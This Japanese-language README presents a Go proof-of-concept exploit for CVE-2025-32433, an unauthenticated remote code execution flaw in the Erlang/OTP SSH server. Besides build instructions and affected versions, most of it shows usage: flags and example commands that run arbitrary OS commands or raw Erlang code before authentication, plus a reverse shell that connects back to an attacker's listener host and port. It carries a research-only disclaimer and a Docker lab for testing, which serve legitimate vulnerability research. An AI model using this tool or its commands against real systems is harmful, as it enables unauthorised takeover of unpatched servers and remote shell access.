
CVE-2025-32433のGoによるPoC — Erlang/OTP SSHにおける認証不要のRCE
CVE-2025-32433 は、Erlang/OTP の SSH サーバにおける、認証不要のリモートコード実行の重大な脆弱性です。パッチ適用前のバージョンでは、SSH デーモンが認証完了前にチャネルメッセージを誤って処理してしまうため、攻撃者は資格情報を一切提供せずにチャネルを開き、exec リクエストを送信できます。Erlang/OTP の SSH サーバを組み込んでいるアプリケーション(Elixir、RabbitMQ、CouchDB など)は、SSH ポートが公開されている場合に影響を受けます。
この Go 製 PoC は、対象の SSH ポートに接続し、細工された SSH_MSG_CHANNEL_OPEN とそれに続く SSH_MSG_CHANNEL_REQUEST exec ペイロードを送信します(すべて認証前の段階)。これにより、リモートの Erlang ノードが任意の OS コマンドを実行します。実行結果は blind(ブラインド) であり、コマンドの出力は攻撃者に返りません。
影響を受けるバージョン: Erlang/OTP < 27.3.3、< 26.2.5.11、< 25.3.2.20
bash -cos:cmd/dev/tcp に依存しないネイティブな gen_tcp リバースシェルを展開macOS、Linux、Windows 向けのプリビルドバイナリは Releases ページ から入手できます。プラットフォームに合ったバイナリをダウンロードしてそのまま実行してください — Go のインストールは不要です。
ソースからビルドする場合:
[!NOTE] Go 1.21+ が必要です。外部依存関係はありません — Go 標準ライブラリのみ使用します。
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433 cve-2025-32433.go
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433.exe cve-2025-32433.go
go install github.com/joshuavanderpoll/cve-2025-32433@latest
go run github.com/joshuavanderpoll/cve-2025-32433@latest -host 192.168.1.100 -port 22
Usage of ./cve-2025-32433:
-host string
対象の IP またはホスト名
-port int
SSH ポート (デフォルト: 22) (default 22)
-timeout int
接続タイムアウト (秒) (デフォルト: 5) (default 5)
-command string
対象上で実行するシェルコマンド (os:cmd でラップされます)
-code string
対象上で実行する生の Erlang 式
-shell
Erlang ネイティブの gen_tcp リバースシェルを送信
-lhost string
リバースシェル用のリスナー IP (-shell と併用必須)
-lport int
リバースシェル用のリスナーポート (デフォルト: 4444)
./cve-2025-32433 -host 127.0.0.1 -port 2222

./cve-2025-32433 -host 127.0.0.1 -port 2222 -command 'whoami > /tmp/out2.txt'

-shell フラグは、ネイティブの Erlang gen_tcp リバースシェルペイロードを送信します — bash や /dev/tcp は不要です。まずリスナーを起動し、その後エクスプロイトを送信します。
./cve-2025-32433 -host 127.0.0.1 -port 2222 -shell -lhost host.docker.internal -lport 4444

-code フラグは、生の Erlang 式を直接送信します — bash -c ラッパーは使用しません。純粋な Erlang 操作や、対象で bash が利用できない場合に便利です。実行結果はブラインドのため、出力をファイルに書き込んで別途取得してください。
./cve-2025-32433 -host 127.0.0.1 -port 2222 -code 'file:write_file("/tmp/out.txt", os:cmd("id")).'

詳細は docker/DOCKER.md をご覧ください
cd docker/
docker compose down
docker compose up -d
# テストは -host 127.0.0.1 -port 2222 で行えます
このツールは教育および研究目的でのみ提供されています。作成者は、本ツールの誤用またはそれによって生じた損害について一切の責任を負いません。